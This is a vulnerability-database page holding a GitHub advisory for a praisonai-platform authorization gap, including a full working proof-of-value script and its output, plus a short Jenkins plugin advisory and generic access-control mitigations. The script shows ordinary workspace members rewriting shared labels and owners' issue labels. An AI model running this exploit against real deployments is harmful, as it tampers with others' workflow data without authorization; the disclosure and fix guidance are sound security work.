client, "outsider@example.com", "Outsider"
)
owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}
ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]
add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
owner_issue_id = await _create_issue(
client, workspace_id, owner_headers, "Owner issue"
)
label_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/labels",
json={"name": "Owner triage", "color": "#ff0000"},
headers=owner_headers,
)
label_resp.raise_for_status()
label_id = label_resp.json()["id"]
owner_delete_control_label_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/labels",
json={"name": "Owner delete control", "color": "#00ff00"},
headers=owner_headers,
)
owner_delete_control_label_resp.raise_for_status()
owner_delete_control_label_id = owner_delete_control_label_resp.json()["id"]
member_delete_control_label_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/labels",
json={"name": "Member delete control", "color": "#0000ff"},
headers=owner_headers,
)
member_delete_control_label_resp.raise_for_status()
member_delete_control_label_id = member_delete_control_label_resp.json()["id"]
owner_attach = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=owner_headers,
)
owner_attach.raise_for_status()
initial_issue_labels = await _issue_label_names(
client, workspace_id, owner_issue_id, owner_headers
)
member_delete_label = await client.delete(
f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}",
headers=member_headers,
)
member_patch_label = await client.patch(
f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
json={"name": "Member-controlled triage", "color": "#000000"},
headers=member_headers,
)
owner_label_list_after_patch = await client.get(
f"/api/v1/workspaces/{workspace_id}/labels",
headers=owner_headers,
)
member_remove_from_owner_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=member_headers,
)
labels_after_member_remove = await _issue_label_names(
client, workspace_id, owner_issue_id, owner_headers
)
member_add_back_to_owner_issue = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=member_headers,
)
labels_after_member_add = await _issue_label_names(
client, workspace_id, owner_issue_id, owner_headers
)
outsider_patch_label = await client.patch(
f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
json={"name": "Outsider attempt"},
headers=outsider_headers,
)
outsider_add_to_issue = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=outsider_headers,
)
owner_delete_label = await client.delete(
f"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}",
headers=owner_headers,
)
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
owner_labels = (
owner_label_list_after_patch.json()
if owner_label_list_after_patch.status_code == 200
else []
)
owner_observed_label = owner_labels[0] if owner_labels else {}
checks = {
"initial_owner_issue_labels": initial_issue_labels,
"member_direct_label_delete": member_delete_label.status_code,
"member_patch_label": member_patch_label.status_code,
"owner_observed_label_name_after_member_patch": owner_observed_label.get("name"),
"owner_observed_label_color_after_member_patch": owner_observed_label.get("color"),
"member_remove_label_from_owner_issue": member_remove_from_owner_issue.status_code,
"owner_issue_labels_after_member_remove": labels_after_member_remove,
"member_add_label_to_owner_issue": member_add_back_to_owner_issue.status_code,
"owner_issue_labels_after_member_add": labels_after_member_add,
"non_member_patch_label": outsider_patch_label.status_code,
"non_member_add_label_to_issue": outsider_add_to_issue.status_code,
"owner_delete_label": owner_delete_label.status_code,
}
vulnerable = (
checks["initial_owner_issue_labels"] == ["Owner triage"]
and checks["member_direct_label_delete"] == 403
and checks["member_patch_label"] == 200
and checks["owner_observed_label_name_after_member_patch"]
== "Member-controlled triage"
and checks["owner_observed_label_color_after_member_patch"] == "#000000"
and checks["member_remove_label_from_owner_issue"] == 204
and checks["owner_issue_labels_after_member_remove"] == []
and checks["member_add_label_to_owner_issue"] == 204
and checks["owner_issue_labels_after_member_add"] == ["Member-controlled triage"]
and checks["non_member_patch_label"] == 403
and checks["non_member_add_label_to_issue"] == 403
and checks["owner_delete_label"] == 204
)
return {
"package": "praisonai-platform",
"source": _source_id(repo),
"workspace_role": "member",
"summary": (
"A workspace member can rewrite shared label taxonomy and add/remove labels "
"on an owner-created issue even though direct label deletion is owner/admin-only."
),
"issue_id": owner_issue_id,
"label_id": label_id,
"checks": checks,
"vulnerable": vulnerable,
}
def _source_id(repo: Path | None) -> str:
if repo is None:
import importlib.metadata
return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
rev = subprocess.check_output(
["git", "-C", str(repo), "rev-parse", "HEAD"],
text=True,
).strip()
return f"git:{rev}"
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path)
parser.add_argument("--json", action="store_true")
args = parser.parse_args()
result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
if args.json:
print(json.dumps(result, indent=2, sort_keys=True))
else:
for key, value in result["checks"].items():
print(f"{key}: {value}")
print(f"vulnerable: {result['vulnerable']}")
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61440"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T21:58:27Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "MODERATE"
},
"details": "# Platform members can rewrite shared labels and owner issue labels without owner/admin authorization\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color.\n\nThe paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`.\n\nThe issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority.\n\nAs a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.\n\nEssential excerpt:\n\n```python\nmember_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n headers=member_headers,\n)\n\nmember_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n headers=member_headers,\n)\n\nmember_remove_from_owner_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n)\n\nmember_add_back_to_owner_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n)\n\noutsider_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Outsider attempt\"},\n headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"vulnerable\": true,\n \"checks\": {\n \"initial_owner_issue_labels\": [\n \"Owner triage\"\n ],\n \"member_direct_label_delete\": 403,\n \"member_patch_label\": 200,\n \"owner_observed_label_name_after_member_patch\": \"Member-controlled triage\",\n \"owner_observed_label_color_after_member_patch\": \"#000000\",\n \"member_remove_label_from_owner_issue\": 204,\n \"owner_issue_labels_after_member_remove\": [],\n \"member_add_label_to_owner_issue\": 204,\n \"owner_issue_labels_after_member_add\": [\n \"Member-controlled triage\"\n ],\n \"non_member_patch_label\": 403,\n \"non_member_add_label_to_issue\": 403,\n \"owner_delete_label\": 204\n }\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_label_authorization_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n \"source\": \"pypi:praisonai-platform==0.1.8\",\n \"vulnerable\": true,\n \"checks\": {\n \"member_direct_label_delete\": 403,\n \"member_patch_label\": 200,\n \"member_remove_label_from_owner_issue\": 204,\n \"member_add_label_to_owner_issue\": 204,\n \"non_member_patch_label\": 403,\n \"non_member_add_label_to_issue\": 403\n }\n}\n```\n\nVersion sweep excerpt:\n\n```text\ncurrent git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204\n```\n\nThe `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.\n\n## Impact\n\nAn ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.\n\n## Suggested Fix\n\nDefine explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller.\n\nIf labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route\u0027s admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.\n\nAdd regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives `403`; and direct label deletion remains protected.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe post-delete-guard label write authorization gap is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In sampled `0.1.4`, direct member label deletion already returned `204`, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.\n\nSuggested affected range for the post-delete-guard bypass: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.\n\n`GHSA-5jx9-w35f-vp65` / `CVE-2026-47414`, \"praisonai-platform: Label endpoints\u0027 unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)\", covers cross-workspace label operations in `\u003c=0.1.2` and lists `0.1.4` as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive `403`, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns `403` in current head, `0.1.6`, and `0.1.8` while the sibling label PATCH and issue-label add/remove routes still return `200`/`204`. If maintainers track the remaining issue-label DELETE behavior under `GHSA-rh39-9c67-59mh`, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers issue create/update accepting a body-supplied foreign `project_id` and polluting another workspace\u0027s project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.\n\n`GHSA-gv23-xrm3-8c62` covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.\n\n`GHSA-xwq8-frcg-77q8` covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.\n\n## References\n\n- `https://github.com/advisories/GHSA-5jx9-w35f-vp65`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Full PoV Script\n\nSave this as `pov_platform_label_authorization_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform label authorization gaps.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n if repo is None:\n return\n platform_root = repo / \"src\" / \"praisonai-platform\"\n agents_root = repo / \"src\" / \"praisonai-agents\"\n for path in (str(platform_root), str(agents_root)):\n if path not in sys.path:\n sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n response = await client.post(\n \"/api/v1/auth/register\",\n json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n )\n if response.status_code \u003e= 400:\n raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n body = response.json()\n return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n client: Any,\n workspace_id: str,\n headers: dict[str, str],\n title: str,\n) -\u003e str:\n response = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/\",\n json={\"title\": title, \"priority\": \"high\"},\n headers=headers,\n )\n response.raise_for_status()\n return response.json()[\"id\"]\n\n\nasync def _issue_label_names(\n client: Any,\n workspace_id: str,\n issue_id: str,\n headers: dict[str, str],\n) -\u003e list[str]:\n response = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels\",\n headers=headers,\n )\n response.raise_for_status()\n return [label[\"name\"] for label in response.json()]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n _load_local_source(repo)\n\n from httpx import ASGITransport, AsyncClient\n from sqlalchemy.ext.asyncio import create_async_engine\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db import base as base_mod\n from praisonai_platform.db.base import Base, reset_engine\n\n await reset_engine()\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n base_mod._engine = engine\n base_mod._session_factory = None\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n transport = ASGITransport(app=app)\n async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n owner_token, _owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n outsider_token, _outsider_id = await _register(\n client, \"outsider@example.com\", \"Outsider\"\n )\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n ws_resp = await client.post(\n \"/api/v1/workspaces/\",\n json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n headers=owner_headers,\n )\n ws_resp.raise_for_status()\n workspace_id = ws_resp.json()[\"id\"]\n\n add_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\"user_id\": member_id, \"role\": \"member\"},\n headers=owner_headers,\n )\n add_member.raise_for_status()\n\n owner_issue_id = await _create_issue(\n client, workspace_id, owner_headers, \"Owner issue\"\n )\n\n label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Owner triage\", \"color\": \"#ff0000\"},\n headers=owner_headers,\n )\n label_resp.raise_for_status()\n label_id = label_resp.json()[\"id\"]\n\n owner_delete_control_label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Owner delete control\", \"color\": \"#00ff00\"},\n headers=owner_headers,\n )\n owner_delete_control_label_resp.raise_for_status()\n owner_delete_control_label_id = owner_delete_control_label_resp.json()[\"id\"]\n\n member_delete_control_label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Member delete control\", \"color\": \"#0000ff\"},\n headers=owner_headers,\n )\n member_delete_control_label_resp.raise_for_status()\n member_delete_control_label_id = member_delete_control_label_resp.json()[\"id\"]\n\n owner_attach = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=owner_headers,\n )\n owner_attach.raise_for_status()\n initial_issue_labels = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n member_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n headers=member_headers,\n )\n\n member_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n headers=member_headers,\n )\n owner_label_list_after_patch = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n headers=owner_headers,\n )\n\n member_remove_from_owner_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n )\n labels_after_member_remove = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n member_add_back_to_owner_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n )\n labels_after_member_add = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n outsider_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Outsider attempt\"},\n headers=outsider_headers,\n )\n outsider_add_to_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=outsider_headers,\n )\n\n owner_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}\",\n headers=owner_headers,\n )\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n owner_labels = (\n owner_label_list_after_patch.json()\n if owner_label_list_after_patch.status_code == 200\n else []\n )\n owner_observed_label = owner_labels[0] if owner_labels else {}\n checks = {\n \"initial_owner_issue_labels\": initial_issue_labels,\n \"member_direct_label_delete\": member_delete_label.status_code,\n \"member_patch_label\": member_patch_label.status_code,\n \"owner_observed_label_name_after_member_patch\": owner_observed_label.get(\"name\"),\n \"owner_observed_label_color_after_member_patch\": owner_observed_label.get(\"color\"),\n \"member_remove_label_from_owner_issue\": member_remove_from_owner_issue.status_code,\n \"owner_issue_labels_after_member_remove\": labels_after_member_remove,\n \"member_add_label_to_owner_issue\": member_add_back_to_owner_issue.status_code,\n \"owner_issue_labels_after_member_add\": labels_after_member_add,\n \"non_member_patch_label\": outsider_patch_label.status_code,\n \"non_member_add_label_to_issue\": outsider_add_to_issue.status_code,\n \"owner_delete_label\": owner_delete_label.status_code,\n }\n vulnerable = (\n checks[\"initial_owner_issue_labels\"] == [\"Owner triage\"]\n and checks[\"member_direct_label_delete\"] == 403\n and checks[\"member_patch_label\"] == 200\n and checks[\"owner_observed_label_name_after_member_patch\"]\n == \"Member-controlled triage\"\n and checks[\"owner_observed_label_color_after_member_patch\"] == \"#000000\"\n and checks[\"member_remove_label_from_owner_issue\"] == 204\n and checks[\"owner_issue_labels_after_member_remove\"] == []\n and checks[\"member_add_label_to_owner_issue\"] == 204\n and checks[\"owner_issue_labels_after_member_add\"] == [\"Member-controlled triage\"]\n and checks[\"non_member_patch_label\"] == 403\n and checks[\"non_member_add_label_to_issue\"] == 403\n and checks[\"owner_delete_label\"] == 204\n )\n return {\n \"package\": \"praisonai-platform\",\n \"source\": _source_id(repo),\n \"workspace_role\": \"member\",\n \"summary\": (\n \"A workspace member can rewrite shared label taxonomy and add/remove labels \"\n \"on an owner-created issue even though direct label deletion is owner/admin-only.\"\n ),\n \"issue_id\": owner_issue_id,\n \"label_id\": label_id,\n \"checks\": checks,\n \"vulnerable\": vulnerable,\n }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n if repo is None:\n import importlib.metadata\n\n return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n rev = subprocess.check_output(\n [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n text=True,\n ).strip()\n return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path)\n parser.add_argument(\"--json\", action=\"store_true\")\n args = parser.parse_args()\n\n result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n if args.json:\n print(json.dumps(result, indent=2, sort_keys=True))\n else:\n for key, value in result[\"checks\"].items():\n print(f\"{key}: {value}\")\n print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"id": "GHSA-xxgv-vgvj-qvxh",
"modified": "2026-10-08T21:58:28Z",
"published": "2026-10-08T21:58:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xxgv-vgvj-qvxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61440"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62180"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-label-endpoints"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization"
}
GHSA-XXHF-XQ6V-C8MJ
Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-12-05 22:35Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \"unprotected\" status badge access.
This allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.
Embeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:embeddable-build-status"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34180"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-05T22:59:57Z",
"nvd_published_at": "2022-06-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \\\"unprotected\\\" status badge access.\n\nThis allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.\n\nEmbeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.",
"id": "GHSA-xxhf-xq6v-c8mj",
"modified": "2022-12-05T22:35:57Z",
"published": "2022-06-24T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34180"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/embeddable-build-status-plugin/commit/402148784b3f4b029eaf47cc26ebf6b9bc636183"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/embeddable-build-status-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-06-22/#SECURITY-2794"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper authorization in Jenkins Embeddable Build Status Plugin bypasses ViewStatus permission requirement"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.